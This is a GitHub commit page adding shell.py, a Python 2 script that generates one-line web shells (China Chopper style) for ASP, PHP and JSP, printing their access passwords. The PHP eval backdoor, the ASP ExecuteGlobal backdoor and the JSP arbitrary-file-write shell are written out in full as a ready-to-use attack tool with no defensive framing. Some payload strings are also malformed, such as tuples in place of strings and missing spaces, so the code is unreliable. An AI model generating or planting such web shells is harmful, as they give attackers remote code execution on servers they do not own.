Skip to content

Commit bc4145e

Browse files
committed
一句话
1 parent a3a7f23 commit bc4145e

1 file changed

Lines changed: 64 additions & 0 deletions

File tree

shell.py

Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
import time
2+
import os
3+
from threading import Thread
4+
import optparse
5+
def aspyijuhua():
6+
try:
7+
juy=open('caidao.asp','w')
8+
asp="<%IfRequest(",'1',")<>""ThenExecuteGlobal(Request(",'1',"))%>"
9+
print '[+]Accelerated generation !'
10+
juy.writelines(asp)
11+
print '[+]ASP in word ,the Trojan horse is finished .'
12+
print '[+]Password:1'
13+
except:
14+
print '[-]Not generate !'
15+
16+
def phpyijuhua():
17+
try:
18+
php=open('caidao.php','w')
19+
payload="<?php @eval($_POST['chopper']);?>"
20+
print '[+]Accelerated generation !'
21+
php.writelines(payload)
22+
print '[+]PHP in word ,the Trojan horse is finished .'
23+
print '[+]Password:chopper'
24+
except:
25+
print '[-]Not generate !'
26+
27+
def jspyijuhua():
28+
try:
29+
jsp=open('caidao.jsp','w')
30+
payload="<%if(request.getParameter(",'f',")!=null)(newjava.io.FileOutputStream (application.getRealPath(",'\\',")+request.getParameter(",'f',"))).write (request.getParameter(",'t',").getBytes());%> "
31+
print '[+]Accelerated generation !'
32+
jsp.writelines(payload)
33+
print '[+]JSP in word ,the Trojan horse is finished .'
34+
except:
35+
print '[-]Not generate !'
36+
def editon():
37+
print '-a ASP in word ,the Trojan horse is finished .'
38+
print '-p PHP in word ,the Trojan horse is finished .'
39+
print '-j JSP in word ,the Trojan horse is finished .'
40+
print 'Editon v.1.0'
41+
print 'What is your Haq me, Whatever you do love you'
42+
43+
def main():
44+
parser=optparse.OptionParser()
45+
parser.add_option('-a',action='store_true',dest='asp',help='ASP in word ,the Trojan horse is finished .')
46+
parser.add_option('-p',action='store_true',dest='php',help='PHP in word ,the Trojan horse is finished .')
47+
parser.add_option('-j',action='store_true',dest='jsp',help='JSP in word ,the Trojan horse is finished .')
48+
parser.add_option('-v',action='store_true',dest='help',help='Editon')
49+
(options,args)=parser.parse_args()
50+
if options.asp:
51+
a=Thread(target=aspyijuhua,args=())
52+
a.start()
53+
if options.php:
54+
px=Thread(target=phpyijuhua,args=())
55+
px.start()
56+
if options.jsp:
57+
j=Thread(target=jspyijuhua,args=())
58+
j.start()
59+
if options.help:
60+
h=Thread(target=editon(),args=())
61+
h.start()
62+
63+
if __name__ == '__main__':
64+
main()

0 commit comments

Comments
 (0)